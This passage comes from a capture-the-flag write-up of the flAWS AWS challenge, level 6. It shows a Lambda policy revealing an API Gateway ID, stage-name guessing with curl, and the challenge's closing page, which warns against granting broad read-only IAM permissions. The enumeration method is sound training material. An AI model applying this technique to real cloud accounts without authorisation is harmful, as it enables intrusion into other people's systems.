    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
    "RevisionId": "edaca849-06fb-4495-a09c-3bc6115d3b87"
}

┌─

So now we can see that we can call the REST API.

arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6

This tells us:


What We Know So Far:

  • There’s an API Gateway with ID s33ppypa75 in us-west-2.

  • The /level6 resource with method GET triggers the Level6 Lambda function.

  • The Lambda code is in python2.7 and is small (282 bytes).

  • Our IAM user doesn’t have direct permission to call apigateway:GetRestApis (blocked).

  • But the function name and API Gateway ID are known, so we can attempt direct invocation.


We might be able to hit it directly:

curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/<stage>/level6

Replace <stage> with common values like:

  • prod

  • dev

  • test

  • v1

  • default


This works.

┌──(twilightxtromera)-[/tmp/aws/ddcc78ff]
└─$ curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
"Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/"                                            
┌──(twilightxtromera)-[/tmp/aws/ddcc78ff]
└─$ curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6 -L
"Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/"                    

┌──(twilightxtromera)-[/tmp/aws/ddcc78ff]
└─$ curl http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/ -L
<html>
    <head>
        <title>flAWS - The End</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
        </style>
    </head>
<body
  text="#00d000"
  bgcolor="#000000"
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">
<center>
<pre>
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>
<h1>flAWS - The End</h1>
</center>

<h3>Lesson learned</h3>

It is common to give people and entities read-only permissions such as the SecurityAudit policy.  The ability to read your own and other's IAM policies can really help an attacker figure out what exists in your environment and look for weaknesses and mistakes.

<h3>Avoiding this mistake</h3>
Don't hand out any permissions liberally, even permissions that only let you read meta-data or know what your permissions are.


<hr size=3 color="#00d000" />
<h1>The End</h1>
Congratulations on completing the flAWS challenge!

<p>Send me some feedback at scott@summitroute.com
<p>Tweet and tell your friends about it if you learned something from it.

<p>There is also now a <a href="http://flaws2.cloud/">flaws2.cloud</a>! Check that out.